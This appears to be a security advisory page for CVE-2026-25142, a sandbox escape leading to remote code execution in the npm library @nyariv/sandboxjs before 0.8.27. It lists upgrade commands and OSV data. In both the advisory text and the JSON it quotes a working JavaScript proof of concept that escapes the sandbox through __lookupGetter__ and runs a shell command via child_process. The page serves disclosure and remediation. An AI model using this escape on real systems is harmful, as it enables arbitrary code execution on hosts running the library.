CVE-2026-25142: @nyariv/sandboxjs Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-9p4w-fq8m-2hp7
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CVSS 10.0
CWE-1321 CWE-94
Published
Advisory Summary

CVE-2026-25142 is a CRITICAL (CVSS 10.0) remote code execution vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting @nyariv/sandboxjs libraries in the npm ecosystem. The issue involves sandboxjs vulnerable to prototype pollution -> sandbox escape -> rce. Remediation is available by upgrading affected packages to version 0.8.27.

CVE-2026-25142 at a Glance

CVE Identifier CVE-2026-25142
GHSA Identifier GHSA-9p4w-fq8m-2hp7
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product @nyariv/sandboxjs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-25142

To remediate this vulnerability, upgrade all affected @nyariv/sandboxjs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@nyariv/sandboxjs fixed: 0.8.27 
npm install @nyariv/sandboxjs@0.8.27
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls @nyariv/sandboxjs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-25142, inspect your project dependencies using npm:

npm ls @nyariv/sandboxjs

Analyze the terminal output to locate any version of @nyariv/sandboxjs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.8.27), your application is affected.

Note: The npm ls @nyariv/sandboxjs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In @nyariv/sandboxjs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary SandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. ### Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype. ### PoC ```js const s = require("@nyariv/sandboxjs").default; const sb = new s(); payload = ` let getProto = Object.toString.__lookupGetter__("__proto__") let m = getProto.call(new Map()); m.has = isFinite; console.log( isFinite.constructor( "return process.getBuiltinModule('child_process').execSync('ls -lah').toString()", )(), );` sb.compile(payload)().run(); ``` ### Impact Prototype Pollution -> RCE

CVE-2026-25142 Affected @nyariv/sandboxjs Versions

1 component(s)
Fixed Versions:
0.8.27
Product / Package Ecosystem Affected Versions Fixed Version
@nyariv/sandboxjs
npm/@nyariv/sandboxjs
npm
< 0.8.27
0.8.27

References

GitHub Advisory / Wiki ADVISORY
https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7
NVD — CVE-2026-25142 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-25142
Security Fix Commit FIX COMMIT
https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3
@nyariv/sandboxjs Source Repository REPOSITORY
https://github.com/nyariv/SandboxJS
@nyariv/sandboxjs Source Repository REPOSITORY
https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398

Frequently Asked Questions

What is CVE-2026-25142?
CVE-2026-25142 is a security vulnerability in @nyariv/sandboxjs involving SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which @nyariv/sandboxjs versions are affected?
Affected versions include releases prior to 0.8.27 across affected packages: @nyariv/sandboxjs.
What version fixes CVE-2026-25142?
Upgrading to 0.8.27 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @nyariv/sandboxjs affected?
Yes, @nyariv/sandboxjs is affected in releases prior to 0.8.27. Upgrade your dependency to 0.8.27 or later.
What is the CVSS score of CVE-2026-25142?
CVE-2026-25142 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-25142?
CVE-2026-25142 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-25142?
Run the dependency tree command: 'npm ls @nyariv/sandboxjs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9p4w-fq8m-2hp7",
  "modified" : "2026-02-03T16:13:28Z",
  "published" : "2026-02-02T20:17:39Z",
  "aliases" : [ "CVE-2026-25142" ],
  "summary" : "SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE",
  "details" : "### Summary\n\nSandboxJS does not properly restrict `__lookupGetter__` which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.\n\n### Details\n\nhttps://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398\n\nThe Object prototype which contains `__lookupGetter__` is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.\n\n### PoC\n```js\nconst s = require(\"@nyariv/sandboxjs\").default;\nconst sb = new s();\n\npayload = `\nlet getProto = Object.toString.__lookupGetter__(\"__proto__\")\nlet m = getProto.call(new Map());\nm.has = isFinite;\n\nconsole.log(\n  isFinite.constructor(\n    \"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()\",\n  )(),\n);`\nsb.compile(payload)().run();\n```\n\n### Impact\nPrototype Pollution -> RCE",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@nyariv/sandboxjs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.8.27"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.8.26"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25142"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nyariv/SandboxJS"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-02-02T20:17:39Z",
    "nvd_published_at" : "2026-02-02T23:16:09Z"
  }
}